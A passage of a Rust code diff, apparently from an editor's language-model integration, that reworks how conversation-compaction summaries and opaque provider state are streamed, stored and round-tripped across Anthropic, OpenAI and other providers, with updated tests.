+            summary_owned_by(LanguageModelProviderId::new("other-anthropic-backend")),
+            &ANTHROPIC_PROVIDER_ID,
+        )
+        .unwrap()
+        .expect("compaction block should be produced");
+        assert_eq!(
+            serde_json::to_value(&foreign).unwrap(),
+            serde_json::json!({
+                "type": "compaction",
+                "content": "Summary of the conversation so far."
+            })
+        );
+    }
+
     #[test]
     fn test_event_mapper_maps_compaction_block_and_deltas() {
-        let mut mapper = AnthropicEventMapper::new(ANTHROPIC_PROVIDER_NAME);
+        let mut mapper = AnthropicEventMapper::new(ANTHROPIC_PROVIDER_NAME, ANTHROPIC_PROVIDER_ID);
 
         let start_event: Event = serde_json::from_value(serde_json::json!({
             "type": "content_block_start",
             "index": 0,
-            "content_block": { "type": "compaction", "content": null }
+            "content_block": { "type": "compaction", "content": "Summary " }
         }))
         .unwrap();
         let delta_event: Event = serde_json::from_value(serde_json::json!({
             "type": "content_block_delta",
             "index": 0,
-            "delta": { "type": "compaction_delta", "content": "Summary chunk" }
+            "delta": { "type": "compaction_delta", "content": "in " }
+        }))
+        .unwrap();
+        let second_delta_event: Event = serde_json::from_value(serde_json::json!({
+            "type": "content_block_delta",
+            "index": 0,
+            "delta": { "type": "compaction_delta", "content": "chunks" }
+        }))
+        .unwrap();
+        let stop_event: Event = serde_json::from_value(serde_json::json!({
+            "type": "content_block_stop",
+            "index": 0
         }))
         .unwrap();
 
         let mut events = Vec::new();
         events.extend(mapper.map_event(start_event));
         events.extend(mapper.map_event(delta_event));
+        events.extend(mapper.map_event(second_delta_event));
+        events.extend(mapper.map_event(stop_event));
         let events = events
             .into_iter()
             .collect::<Result<Vec<_>, _>>()
@@ -1070,14 +1276,186 @@ mod tests {
         assert_eq!(
             events,
             vec![
-                LanguageModelCompletionEvent::Compaction(CompactionContent::Summary {
-                    content: None
-                }),
-                LanguageModelCompletionEvent::Compaction(CompactionContent::Summary {
-                    content: Some("Summary chunk".into())
-                }),
+                LanguageModelCompletionEvent::Compaction(CompactionUpdate::Started),
+                LanguageModelCompletionEvent::Compaction(CompactionUpdate::SummaryDelta(
+                    "Summary ".into()
+                )),
+                LanguageModelCompletionEvent::Compaction(CompactionUpdate::SummaryDelta(
+                    "in ".into()
+                )),
+                LanguageModelCompletionEvent::Compaction(CompactionUpdate::SummaryDelta(
+                    "chunks".into()
+                )),
+                LanguageModelCompletionEvent::Compaction(CompactionUpdate::Finished(
+                    CompactedContext::Summary {
+                        content: "Summary in chunks".into(),
+                        provider_state: None,
+                    }
+                )),
+            ]
+        );
+    }
+
+    /// Mirrors the stream shape in Anthropic's SDK fixtures: the block starts
+    /// with both fields null, then a single delta carries the summary text
+    /// alongside the opaque `encrypted_content` that must be round-tripped.
+    #[test]
+    fn test_event_mapper_captures_encrypted_content_as_provider_state() {
+        let mut mapper = AnthropicEventMapper::new(ANTHROPIC_PROVIDER_NAME, ANTHROPIC_PROVIDER_ID);
+
+        let start_event: Event = serde_json::from_value(serde_json::json!({
+            "type": "content_block_start",
+            "index": 0,
+            "content_block": { "type": "compaction", "content": null, "encrypted_content": null }
+        }))
+        .unwrap();
+        let delta_event: Event = serde_json::from_value(serde_json::json!({
+            "type": "content_block_delta",
+            "index": 0,
+            "delta": {
+                "type": "compaction_delta",
+                "content": "Earlier conversation summarized.",
+                "encrypted_content": "opaque-compaction-payload"
+            }
+        }))
+        .unwrap();
+        let stop_event: Event = serde_json::from_value(serde_json::json!({
+            "type": "content_block_stop",
+            "index": 0
+        }))
+        .unwrap();
+
+        let mut events = Vec::new();
+        events.extend(mapper.map_event(start_event));
+        events.extend(mapper.map_event(delta_event));
+        events.extend(mapper.map_event(stop_event));
+        let mut events = events
+            .into_iter()
+            .collect::<Result<Vec<_>, _>>()
+            .expect("all events should map successfully");
+
+        let Some(LanguageModelCompletionEvent::Compaction(CompactionUpdate::Finished(
+            CompactedContext::Summary {
+                content,
+                provider_state: Some(state),
+            },
+        ))) = events.pop()
+        else {
+            panic!("expected a finished summary carrying provider state");
+        };
+        assert_eq!(content.as_ref(), "Earlier conversation summarized.");
+        assert_eq!(
+            provider_compaction_encrypted_content(&state, &ANTHROPIC_PROVIDER_ID)
+                .unwrap()
+                .as_deref(),
+            Some("opaque-compaction-payload")
+        );
+        assert_eq!(
+            provider_compaction_encrypted_content(
+                &state,
+                &LanguageModelProviderId::new("other-anthropic-backend")
+            )
+            .unwrap(),
+            None
+        );
+    }
+
+    /// A compaction block that closes without any content is Anthropic's
+    /// documented representation of a failed compaction, which the server
+    /// treats as a no-op. It must surface as `Failed` -- not as an error that
+    /// would kill the rest of the response.
+    #[test]
+    fn test_event_mapper_maps_null_content_compaction_to_failed() {
+        let mut mapper = AnthropicEventMapper::new(ANTHROPIC_PROVIDER_NAME, ANTHROPIC_PROVIDER_ID);
+        let start_event: Event = serde_json::from_value(serde_json::json!({
+            "type": "content_block_start",
+            "index": 0,
+            "content_block": { "type": "compaction", "content": null, "encrypted_content": null }
+        }))
+        .unwrap();
+        let stop_event: Event = serde_json::from_value(serde_json::json!({
+            "type": "content_block_stop",
+            "index": 0
+        }))
+        .unwrap();
+
+        assert_eq!(
+            mapper
+                .map_event(start_event)
+                .into_iter()
+                .collect::<Result<Vec<_>, _>>()
+                .unwrap(),
+            vec![LanguageModelCompletionEvent::Compaction(
+                CompactionUpdate::Started
+            )]
+        );
+        assert_eq!(
+            mapper
+                .map_event(stop_event)
+                .into_iter()
+                .collect::<Result<Vec<_>, _>>()
+                .unwrap(),
+            vec![LanguageModelCompletionEvent::Compaction(
+                CompactionUpdate::Failed
+            )]
+        );
+    }
+
+    #[test]
+    fn test_event_mapper_rejects_compaction_delta_before_start() {
+        let mut mapper = AnthropicEventMapper::new(ANTHROPIC_PROVIDER_NAME, ANTHROPIC_PROVIDER_ID);
+        let delta_event: Event = serde_json::from_value(serde_json::json!({
+            "type": "content_block_delta",
+            "index": 0,
+            "delta": { "type": "compaction_delta", "content": "Summary chunk" }
+        }))
+        .unwrap();
+
+        let error = mapper.map_event(delta_event).pop().unwrap().unwrap_err();
+
+        assert!(
+            error
+                .to_string()
+                .contains("compaction delta before starting")
+        );
+    }
+
+    #[test]
+    fn test_event_mapper_rejects_stream_end_with_unfinished_compaction() {
+        let mut mapper = AnthropicEventMapper::new(ANTHROPIC_PROVIDER_NAME, ANTHROPIC_PROVIDER_ID);
+        let start_event: Event = serde_json::from_value(serde_json::json!({
+            "type": "content_block_start",
+            "index": 0,
+            "content_block": { "type": "compaction", "content": "Summary " }
+        }))
+        .unwrap();
+        let stop_event: Event = serde_json::from_value(serde_json::json!({
+            "type": "message_stop"
+        }))
+        .unwrap();
+
+        let started = mapper
+            .map_event(start_event)
+            .into_iter()
+            .collect::<Result<Vec<_>, _>>()
+            .unwrap();
+        assert_eq!(
+            started,
+            vec![
+                LanguageModelCompletionEvent::Compaction(CompactionUpdate::Started),
+                LanguageModelCompletionEvent::Compaction(CompactionUpdate::SummaryDelta(
+                    "Summary ".into()
+                )),
             ]
         );
+
+        let error = mapper.map_event(stop_event).pop().unwrap().unwrap_err();
+
+        assert!(
+            error
+                .to_string()
+                .contains("without finishing its compaction summary")
+        );
     }
 
     #[test]
diff --git a/crates/language_model/src/language_model.rs b/crates/language_model/src/language_model.rs
index 2e060049d0b056..5760d071d02ea4 100644
--- a/crates/language_model/src/language_model.rs
+++ b/crates/language_model/src/language_model.rs
@@ -35,6 +35,16 @@ impl DisabledReason {
     }
 }
 
+/// The outcome of an explicit [`LanguageModel::compact`] request.
+#[derive(Debug, Clone, PartialEq)]
+pub struct CompactionResult {
+    /// The replacement context to persist and use in subsequent requests.
+    pub context: CompactedContext,
+    /// Token usage of the compaction request itself, as reported by the
+    /// provider.
+    pub usage: TokenUsage,
+}
+
 pub struct LanguageModelTextStream {
     pub message_id: Option<String>,
     pub stream: BoxStream<'static, Result<String, LanguageModelCompletionError>>,
@@ -131,6 +141,24 @@ pub trait LanguageModel: Send + Sync {
         false
     }
 
+    fn supports_explicit_compaction(&self) -> bool {
+        false
+    }
+
+    fn compact(
+        &self,
+        _request: LanguageModelRequest,
+        _cx: &AsyncApp,
+    ) -> BoxFuture<'static, Result<CompactionResult, LanguageModelCompletionError>> {
+        let provider = self.provider_name();
+        async move {
+            Err(LanguageModelCompletionError::Other(anyhow::anyhow!(
+                "{provider} does not support explicit compaction"
+            )))
+        }
+        .boxed()
+    }
+
     /// Whether this model supports images
     fn supports_images(&self) -> bool;
 
diff --git a/crates/language_model_core/src/language_model_core.rs b/crates/language_model_core/src/language_model_core.rs
index e514a0155a80f0..c5dfcc60c2a8ec 100644
--- a/crates/language_model_core/src/language_model_core.rs
+++ b/crates/language_model_core/src/language_model_core.rs
@@ -59,7 +59,21 @@ pub enum LanguageModelCompletionEvent {
     },
     ReasoningDetails(serde_json::Value),
     UsageUpdate(TokenUsage),
-    Compaction(CompactionContent),
+    Compaction(CompactionUpdate),
+}
+
+#[derive(Debug, PartialEq, Clone, Serialize, Deserialize)]
+pub enum CompactionUpdate {
+    /// A streamed response has started producing replacement context.
+    Started,
+    /// A chunk of a natural-language summary, suitable for incremental display.
+    SummaryDelta(Arc<str>),
+    /// The complete context to persist and use in subsequent requests.
+    Finished(CompactedContext),
+    /// The provider abandoned the compaction without producing replacement
+    /// context. This is a documented outcome, not a protocol error: the
+    /// conversation simply continues on the uncompacted transcript.
+    Failed,
 }
 
 impl LanguageModelCompletionEvent {
diff --git a/crates/language_model_core/src/request.rs b/crates/language_model_core/src/request.rs
index a661874b0eb329..68222eff967ed0 100644
--- a/crates/language_model_core/src/request.rs
+++ b/crates/language_model_core/src/request.rs
@@ -4,7 +4,8 @@ use serde::{Deserialize, Serialize};
 
 use crate::role::Role;
 use crate::{
-    LanguageModelToolUse, LanguageModelToolUseId, LanguageModelToolUseInput, SharedString,
+    LanguageModelProviderId, LanguageModelToolUse, LanguageModelToolUseId,
+    LanguageModelToolUseInput, SharedString,
 };
 
 /// Dimensions of a `LanguageModelImage`
@@ -262,19 +263,58 @@ pub enum MessageContent {
     Image(LanguageModelImage),
     ToolUse(LanguageModelToolUse),
     ToolResult(LanguageModelToolResult),
-    Compaction(CompactionContent),
+    Compaction(CompactedContext),
 }
 
 #[derive(Debug, Clone, Serialize, Deserialize, Eq, PartialEq, Hash)]
-pub enum CompactionContent {
-    Pending,
+pub enum CompactedContext {
     Summary {
-        content: Option<Arc<str>>,
-    },
-    Encrypted {
-        id: Option<Arc<str>>,
-        encrypted_content: Arc<str>,
+        content: Arc<str>,
+        /// Opaque state the producing backend needs round-tripped alongside
+        /// the summary (e.g. Anthropic's `encrypted_content`). `None` when the
+        /// summary stands alone.
+        #[serde(default)]
+        provider_state: Option<ProviderCompactionState>,
     },
+    ProviderState(ProviderCompactionState),
+}
+
+/// Opaque context produced by a provider's native compaction mechanism.
+///
+/// Only the provider identified by `provider_id` may interpret `payload`.
+/// `format` lets that provider evolve its representation without exposing it
+/// through the shared language model API.
+#[derive(Debug, Clone, Serialize, Deserialize, Eq, PartialEq, Hash)]
+pub struct ProviderCompactionState {
+    provider_id: LanguageModelProviderId,
+    format: SharedString,
+    payload: Arc<str>,
+}
+
+impl ProviderCompactionState {
+    pub fn new(
+        provider_id: LanguageModelProviderId,
+        format: impl Into<SharedString>,
+        payload: impl Into<Arc<str>>,
+    ) -> Self {
+        Self {
+            provider_id,
+            format: format.into(),
+            payload: payload.into(),
+        }
+    }
+
+    pub fn provider_id(&self) -> &LanguageModelProviderId {
+        &self.provider_id
+    }
+
+    pub fn format(&self) -> &str {
+        &self.format
+    }
+
+    pub fn payload(&self) -> &str {
+        &self.payload
+    }
 }
 
 impl MessageContent {
diff --git a/crates/language_models/src/provider/anthropic.rs b/crates/language_models/src/provider/anthropic.rs
index a3df6cfe88624c..8edb4998ffdd3e 100644
--- a/crates/language_models/src/provider/anthropic.rs
+++ b/crates/language_models/src/provider/anthropic.rs
@@ -616,6 +616,7 @@ impl LanguageModel for AnthropicModel {
             self.model.max_output_tokens,
             self.model.mode.clone(),
             AnthropicPromptCacheMode::Automatic,
+            &PROVIDER_ID,
         ) {
             Ok(request) => request,
             Err(error) => return async move { Err(error.into()) }.boxed(),
@@ -626,7 +627,7 @@ impl LanguageModel for AnthropicModel {
         let request = self.stream_completion(request, cx);
         let future = self.request_limiter.stream(async move {
             let response = request.await?;
-            Ok(AnthropicEventMapper::new(PROVIDER_NAME).map_stream(response))
+            Ok(AnthropicEventMapper::new(PROVIDER_NAME, PROVIDER_ID).map_stream(response))
         });
         async move { Ok(future.await?.boxed()) }.boxed()
     }
diff --git a/crates/language_models/src/provider/anthropic_compatible.rs b/crates/language_models/src/provider/anthropic_compatible.rs
index 4d31e596b2197a..c4970e699c1df9 100644
--- a/crates/language_models/src/provider/anthropic_compatible.rs
+++ b/crates/language_models/src/provider/anthropic_compatible.rs
@@ -446,6 +446,7 @@ impl LanguageModel for AnthropicCompatibleLanguageModel {
             self.model.max_output_tokens,
             self.model.mode.clone(),
             self.cache_mode,
+            &self.provider_id,
         ) {
             Ok(request) => request,
             Err(error) => return async move { Err(error.into()) }.boxed(),
@@ -455,9 +456,10 @@ impl LanguageModel for AnthropicCompatibleLanguageModel {
         }
         let completion_request = self.stream_completion(request, cx);
         let provider_name = self.provider_name.clone();
+        let provider_id = self.provider_id.clone();
         let future = self.request_limiter.stream(async move {
             let response = completion_request.await?;
-            Ok(AnthropicEventMapper::new(provider_name).map_stream(response))
+            Ok(AnthropicEventMapper::new(provider_name, provider_id).map_stream(response))
         });
         async move { Ok(future.await?.boxed()) }.boxed()
     }
diff --git a/crates/language_models/src/provider/bedrock.rs b/crates/language_models/src/provider/bedrock.rs
index 15a3d22fa9436e..f27b379baf77bf 100644
--- a/crates/language_models/src/provider/bedrock.rs
+++ b/crates/language_models/src/provider/bedrock.rs
@@ -1325,7 +1325,7 @@ struct MantleResponseEventMapper {
 impl MantleResponseEventMapper {
     fn new() -> Self {
         Self {
-            open_ai_mapper: OpenAiResponseEventMapper::new(),
+            open_ai_mapper: OpenAiResponseEventMapper::new(PROVIDER_ID),
             current_message: None,
             previous_message: None,
             pending_message_events: Vec::new(),
@@ -1898,7 +1898,7 @@ impl LanguageModel for BedrockMantleModel {
 
         match self.model.protocol() {
             MantleProtocol::Responses => {
-                let request = into_open_ai_response(
+                let request = match into_open_ai_response(
                     request,
                     &model_id,
                     self.model.supports_tools(),
@@ -1906,7 +1906,11 @@ impl LanguageModel for BedrockMantleModel {
                     max_output_tokens,
                     mantle_default_reasoning_effort(&self.model),
                     self.model.supports_thinking(),
-                );
+                    &PROVIDER_ID,
+                ) {
+                    Ok(request) => request,
+                    Err(error) => return async move { Err(error.into()) }.boxed(),
+                };
                 let completions = self.stream_response(request, cx);
                 async move {
                     let mapper = MantleResponseEventMapper::new();
@@ -3653,7 +3657,9 @@ mod tests {
             Some(MantleModel::Grok4_3.max_output_tokens()),
             mantle_default_reasoning_effort(&MantleModel::Grok4_3),
             MantleModel::Grok4_3.supports_thinking(),
-        );
+            &PROVIDER_ID,
+        )
+        .unwrap();
 
         assert_eq!(
             serde_json::to_value(&request).unwrap()["reasoning"],
@@ -3704,7 +3710,9 @@ mod tests {
             Some(128_000),
             Some(ReasoningEffort::Medium),
             false,
-        );
+            &PROVIDER_ID,
+        )
+        .unwrap();
 
         assert!(request.context_management.is_some());
         strip_unsupported_mantle_response_fields(&mut request);
diff --git a/crates/language_models/src/provider/copilot_chat.rs b/crates/language_models/src/provider/copilot_chat.rs
index 4074fab35c2453..f5d16161ba3ca4 100644
--- a/crates/language_models/src/provider/copilot_chat.rs
+++ b/crates/language_models/src/provider/copilot_chat.rs
@@ -368,6 +368,7 @@ impl LanguageModel for CopilotChatLanguageModel {
                         AnthropicModelMode::Default
                     },
                     AnthropicPromptCacheMode::Legacy,
+                    &PROVIDER_ID,
                 )?;
 
                 anthropic_request.temperature = None;
@@ -413,7 +414,7 @@ impl LanguageModel for CopilotChatLanguageModel {
                 request_limiter
                     .stream(async move {
                         let events = stream.await?;
-                        let mapper = AnthropicEventMapper::new(PROVIDER_NAME);
+                        let mapper = AnthropicEventMapper::new(PROVIDER_NAME, PROVIDER_ID);
                         Ok(mapper.map_stream(events).boxed())
                     })
                     .await
diff --git a/crates/language_models/src/provider/open_ai.rs b/crates/language_models/src/provider/open_ai.rs
index eabb0ed5032958..9b59c56577c25c 100644
--- a/crates/language_models/src/provider/open_ai.rs
+++ b/crates/language_models/src/provider/open_ai.rs
@@ -5,16 +5,19 @@ use futures::{FutureExt, StreamExt, future::BoxFuture};
 use gpui::{App, AppContext, AsyncApp, Context, Entity, SharedString, Task};
 use http_client::{CustomHeaders, HttpClient};
 use language_model::{
-    ApiKeyConfiguration, ApiKeyState, AuthenticateError, EnvVar, FastModeConfirmation, IconOrSvg,
-    LanguageModel, LanguageModelCompletionError, LanguageModelCompletionEvent,
-    LanguageModelEffortLevel, LanguageModelId, LanguageModelName, LanguageModelProvider,
-    LanguageModelProviderId, LanguageModelProviderName, LanguageModelProviderState,
-    LanguageModelRequest, LanguageModelToolChoice, OPEN_AI_PROVIDER_ID, OPEN_AI_PROVIDER_NAME,
-    ProviderSettingsView, RateLimiter, env_var,
+    ApiKeyConfiguration, ApiKeyState, AuthenticateError, CompactionResult, EnvVar,
+    FastModeConfirmation, IconOrSvg, LanguageModel, LanguageModelCompletionError,
+    LanguageModelCompletionEvent, LanguageModelEffortLevel, LanguageModelId, LanguageModelName,
+    LanguageModelProvider, LanguageModelProviderId, LanguageModelProviderName,
+    LanguageModelProviderState, LanguageModelRequest, LanguageModelToolChoice, OPEN_AI_PROVIDER_ID,
+    OPEN_AI_PROVIDER_NAME, ProviderSettingsView, RateLimiter, env_var,
 };
 use open_ai::{
     ResponseStreamEvent,
-    responses::{Request as ResponseRequest, StreamEvent as ResponsesStreamEvent, stream_response},
+    responses::{
+        CompactRequest, CompactedResponse, Request as ResponseRequest,
+        StreamEvent as ResponsesStreamEvent, compact_response, stream_response,
+    },
     stream_completion,
 };
 use settings::{OpenAiAvailableModel as AvailableModel, Settings, SettingsStore};
@@ -22,6 +25,7 @@ use std::sync::{Arc, LazyLock};
 use strum::IntoEnumIterator;
 use ui::IconName;
 
+use open_ai::completion::token_usage_from_response_usage;
 pub use open_ai::completion::{
     ChatCompletionMaxTokensParameter, OpenAiEventMapper, OpenAiResponseEventMapper, into_open_ai,
     into_open_ai_response,
@@ -425,6 +429,40 @@ impl OpenAiLanguageModel {
 
         async move { Ok(future.await?.boxed()) }.boxed()
     }
+
+    fn compact_response(
+        &self,
+        request: CompactRequest,
+        cx: &AsyncApp,
+    ) -> BoxFuture<'static, Result<CompactedResponse, LanguageModelCompletionError>> {
+        let http_client = self.http_client.clone();
+
+        let (api_key, api_url, extra_headers) = self.state.read_with(cx, |state, cx| {
+            let api_url = OpenAiLanguageModelProvider::api_url(cx);
+            let extra_headers = OpenAiLanguageModelProvider::settings(cx)
+                .custom_headers
+                .clone();
+            (state.api_key_state.key(&api_url), api_url, extra_headers)
+        });
+
+        let provider = PROVIDER_NAME;
+        let future = self.request_limiter.run(async move {
+            let Some(api_key) = api_key else {
+                return Err(LanguageModelCompletionError::NoApiKey { provider });
+            };
+            Ok(compact_response(
+                http_client.as_ref(),
+                provider.0.as_str(),
+                &api_url,
+                &api_key,
+                request,
+                &extra_headers,
+            )
+            .await?)
+        });
+
+        future.boxed()
+    }
 }
 
 impl LanguageModel for OpenAiLanguageModel {
@@ -499,6 +537,53 @@ impl LanguageModel for OpenAiLanguageModel {
         self.model.supports_compaction()
     }
 
+    fn supports_explicit_compaction(&self) -> bool {
+        self.model.supports_compaction()
+    }
+
+    fn compact(
+        &self,
+        mut request: LanguageModelRequest,
+        cx: &AsyncApp,
+    ) -> BoxFuture<'static, Result<CompactionResult, LanguageModelCompletionError>> {
+        if !self.supports_explicit_compaction() {
+            return async {
+                Err(LanguageModelCompletionError::Other(anyhow::anyhow!(
+                    "this OpenAI model does not support explicit compaction"
+                )))
+            }
+            .boxed();
+        }
+
+        normalize_open_ai_response_thinking_effort(&mut request, &self.model);
+        let request = match into_open_ai_response(
+            request,
+            self.model.id(),
+            self.model.supports_parallel_tool_calls(),
+            self.model.supports_prompt_cache_key(),
+            self.max_output_tokens(),
+            default_thinking_reasoning_effort(&self.model),
+            self.model
+                .supported_reasoning_efforts()
+                .contains(&open_ai::ReasoningEffort::None),
+            &OPEN_AI_PROVIDER_ID,
+        ) {
+            Ok(request) => request,
+            Err(error) => return async move { Err(error.into()) }.boxed(),
+        };
+        let request = request.into_compact_request();
+        let response = self.compact_response(request, cx);
+        async move {
+            let response = response.await?;
+            let usage = token_usage_from_response_usage(&response.usage);
+            let context = response
+                .into_compacted_context(OPEN_AI_PROVIDER_ID)
+                .map_err(LanguageModelCompletionError::Other)?;
+            Ok(CompactionResult { context, usage })
+        }
+        .boxed()
+    }
+
     fn supported_effort_levels(&self) -> Vec<LanguageModelEffortLevel> {
         supported_thinking_effort_levels(&self.model)
     }
@@ -538,7 +623,7 @@ impl LanguageModel for OpenAiLanguageModel {
         }
         if self.model.uses_responses_api() {
             normalize_open_ai_response_thinking_effort(&mut request, &self.model);
-            let request = into_open_ai_response(
+            let request = match into_open_ai_response(
                 request,
                 self.model.id(),
                 self.model.supports_parallel_tool_calls(),
@@ -548,10 +633,14 @@ impl LanguageModel for OpenAiLanguageModel {
                 self.model
                     .supported_reasoning_efforts()
                     .contains(&open_ai::ReasoningEffort::None),
-            );
+                &OPEN_AI_PROVIDER_ID,
+            ) {
+                Ok(request) => request,
+                Err(error) => return async move { Err(error.into()) }.boxed(),
+            };
             let completions = self.stream_response(request, cx);
             async move {
-                let mapper = OpenAiResponseEventMapper::new();
+                let mapper = OpenAiResponseEventMapper::new(OPEN_AI_PROVIDER_ID);
                 Ok(mapper.map_stream(completions.await?).boxed())
             }
             .boxed()
diff --git a/crates/language_models/src/provider/open_ai_compatible.rs b/crates/language_models/src/provider/open_ai_compatible.rs
index ff67344ac5aba6..6e9a30e91b7f13 100644
--- a/crates/language_models/src/provider/open_ai_compatible.rs
+++ b/crates/language_models/src/provider/open_ai_compatible.rs
@@ -445,7 +445,7 @@ impl LanguageModel for OpenAiCompatibleLanguageModel {
             .boxed()
         } else {
             disable_response_thinking_for_none_effort(&mut request, &self.model);
-            let request = into_open_ai_response(
+            let request = match into_open_ai_response(
                 request,
                 &self.model.name,
                 self.model.capabilities.parallel_tool_calls,
@@ -453,10 +453,15 @@ impl LanguageModel for OpenAiCompatibleLanguageModel {
                 self.max_output_tokens(),
                 default_thinking_reasoning_effort(&self.model),
                 supports_none_reasoning_effort(&self.model),
-            );
+                &self.provider_id,
+            ) {
+                Ok(request) => request,
+                Err(error) => return async move { Err(error.into()) }.boxed(),
+            };
             let completions = self.stream_response(request, cx);
+            let compaction_state_owner = self.provider_id.clone();
             async move {
-                let mapper = OpenAiResponseEventMapper::new();
+                let mapper = OpenAiResponseEventMapper::new(compaction_state_owner);
                 Ok(mapper.map_stream(completions.await?).boxed())
             }
             .boxed()
@@ -635,7 +640,9 @@ mod tests {
             model.max_output_tokens,
             default_thinking_reasoning_effort(&model),
             supports_none_reasoning_effort(&model),
-        );
+            &LanguageModelProviderId::new("test-compatible-provider"),
+        )
+        .unwrap();
         let serialized = serde_json::to_value(request).unwrap();
 
         assert_eq!(
@@ -664,7 +671,9 @@ mod tests {
             model.max_output_tokens,
             default_thinking_reasoning_effort(&model),
             supports_none_reasoning_effort(&model),
-        );
+            &LanguageModelProviderId::new("test-compatible-provider"),
+        )
+        .unwrap();
         let serialized = serde_json::to_value(request).unwrap();
 
         assert_eq!(serialized.get("reasoning"), None);
diff --git a/crates/language_models/src/provider/openai_subscribed.rs b/crates/language_models/src/provider/openai_subscribed.rs
index 4e2dee2075cac9..e67c9f3b65ba79 100644
--- a/crates/language_models/src/provider/openai_subscribed.rs
+++ b/crates/language_models/src/provider/openai_subscribed.rs
@@ -519,7 +519,7 @@ impl LanguageModel for OpenAiSubscribedLanguageModel {
         // The Codex backend rejects `max_output_tokens` (`Unsupported parameter`),
         // unlike the public OpenAI Responses API. Pass `None` so the field is
         // omitted from the serialized request body entirely.
-        let mut responses_request = into_open_ai_response(
+        let mut responses_request = match into_open_ai_response(
             request,
             self.model.id(),
             self.model.supports_parallel_tool_calls(),
@@ -529,26 +529,18 @@ impl LanguageModel for OpenAiSubscribedLanguageModel {
             self.model
                 .supported_reasoning_efforts()
                 .contains(&ReasoningEffort::None),
-        );
+            &PROVIDER_ID,
+        ) {
+            Ok(request) => request,
+            Err(error) => return async move { Err(error.into()) }.boxed(),
+        };
         responses_request.store = Some(false);
 
-        // The Codex backend requires system messages to be in the top-level
-        // `instructions` field rather than as input items.
-        let mut instructions = Vec::new();
-        responses_request.input.retain(|item| {
-            if let open_ai::responses::ResponseInputItem::Message(msg) = item {
-                if msg.role == open_ai::Role::System {
-                    for part in &msg.content {
-                        if let open_ai::responses::ResponseInputContent::Text { text } = part {
-                            instructions.push(text.clone());
-                        }
-                    }
-                    return false;
-                }
-            }
-            true
-        });
-        responses_request.instructions = Some(instructions.join("\n\n"));
+        // `into_open_ai_response` already hoists system messages into
+        // `instructions`, which is the only form the Codex backend accepts.
+        // Codex has only ever been sent requests with the field present
+        // (possibly empty), so keep sending it even without system messages.
+        responses_request.instructions.get_or_insert_default();
 
         let state = self.state.downgrade();
         let http_client = self.http_client.clone();
@@ -594,7 +586,7 @@ impl LanguageModel for OpenAiSubscribedLanguageModel {
         });
 
         async move {
-            let mapper = OpenAiResponseEventMapper::new();
+            let mapper = OpenAiResponseEventMapper::new(PROVIDER_ID);
             Ok(mapper.map_stream(future.await?.boxed()).boxed())
         }
         .boxed()
diff --git a/crates/language_models/src/provider/opencode.rs b/crates/language_models/src/provider/opencode.rs
index 6604995ffee14a..2a4e27c3c7ce78 100644
--- a/crates/language_models/src/provider/opencode.rs
+++ b/crates/language_models/src/provider/opencode.rs
@@ -678,6 +678,7 @@ impl LanguageModel for OpenCodeLanguageModel {
                         .unwrap_or(8192),
                     mode,
                     anthropic::completion::AnthropicPromptCacheMode::Automatic,
+                    &PROVIDER_ID,
                 ) {
                     Ok(request) => request,
                     Err(error) => return async move { Err(error.into()) }.boxed(),
@@ -685,7 +686,7 @@ impl LanguageModel for OpenCodeLanguageModel {
                 let stream =
                     self.stream_anthropic(anthropic_request, http_client, extra_headers, cx);
                 async move {
-                    let mapper = AnthropicEventMapper::new(PROVIDER_NAME);
+                    let mapper = AnthropicEventMapper::new(PROVIDER_NAME, PROVIDER_ID);
                     Ok(mapper.map_stream(stream.await?).boxed())
                 }
                 .boxed()
@@ -725,7 +726,7 @@ impl LanguageModel for OpenCodeLanguageModel {
                     .model
                     .supported_reasoning_effort_levels()
                     .is_some_and(|levels| levels.contains(&ReasoningEffort::None));
-                let response_request = into_open_ai_response(
+                let response_request = match into_open_ai_response(
                     request,
                     self.model.id(),
                     true,
@@ -733,11 +734,15 @@ impl LanguageModel for OpenCodeLanguageModel {
                     self.model.max_output_tokens(self.subscription),
                     None,
                     supports_none_reasoning_effort,
-                );
+                    &PROVIDER_ID,
+                ) {
+                    Ok(request) => request,
+                    Err(error) => return async move { Err(error.into()) }.boxed(),
+                };
                 let stream =
                     self.stream_openai_response(response_request, http_client, extra_headers, cx);
                 async move {
-                    let mapper = OpenAiResponseEventMapper::new();
+                    let mapper = OpenAiResponseEventMapper::new(PROVIDER_ID);
                     Ok(mapper.map_stream(stream.await?).boxed())
                 }
                 .boxed()
diff --git a/crates/language_models_cloud/Cargo.toml b/crates/language_models_cloud/Cargo.toml
index 2e408e66c7165d..571d8e86ebc6db 100644
--- a/crates/language_models_cloud/Cargo.toml
+++ b/crates/language_models_cloud/Cargo.toml
@@ -29,4 +29,6 @@ serde_json.workspace = true
 thiserror.workspace = true
 
 [dev-dependencies]
+gpui = { workspace = true, features = ["test-support"] }
+http_client = { workspace = true, features = ["test-support"] }
 language_model = { workspace = true, features = ["test-support"] }
diff --git a/crates/language_models_cloud/src/language_models_cloud.rs b/crates/language_models_cloud/src/language_models_cloud.rs
index 46060e92c7b21e..695d4324890d49 100644
--- a/crates/language_models_cloud/src/language_models_cloud.rs
+++ b/crates/language_models_cloud/src/language_models_cloud.rs
@@ -19,8 +19,8 @@ use http_client::{
     AsyncBody, HttpClient, HttpClientWithUrl, HttpRequestExt, Method, Response, StatusCode,
 };
 use language_model::{
-    ANTHROPIC_PROVIDER_ID, ANTHROPIC_PROVIDER_NAME, DisabledReason, GOOGLE_PROVIDER_ID,
-    GOOGLE_PROVIDER_NAME, LanguageModel, LanguageModelCompletionError,
+    ANTHROPIC_PROVIDER_ID, ANTHROPIC_PROVIDER_NAME, CompactionResult, DisabledReason,
+    GOOGLE_PROVIDER_ID, GOOGLE_PROVIDER_NAME, LanguageModel, LanguageModelCompletionError,
     LanguageModelCompletionEvent, LanguageModelEffortLevel, LanguageModelId, LanguageModelName,
     LanguageModelProviderId, LanguageModelProviderName, LanguageModelRequest,
     LanguageModelToolChoice, LanguageModelToolSchemaFormat, OPEN_AI_PROVIDER_ID,
@@ -43,7 +43,7 @@ use anthropic::completion::{AnthropicEventMapper, AnthropicPromptCacheMode, into
 use google_ai::completion::{GoogleEventMapper, into_google};
 use open_ai::completion::{
     ChatCompletionMaxTokensParameter, OpenAiEventMapper, OpenAiResponseEventMapper, into_open_ai,
-    into_open_ai_response,
+    into_open_ai_response, token_usage_from_response_usage,
 };
 
 const PROVIDER_ID: LanguageModelProviderId = ZED_CLOUD_PROVIDER_ID;
@@ -124,9 +124,49 @@ impl<TP: CloudLlmTokenProvider> CloudLanguageModel<TP> {
         auth_context: TP::AuthContext,
         app_version: Option<Version>,
         body: CompletionBody,
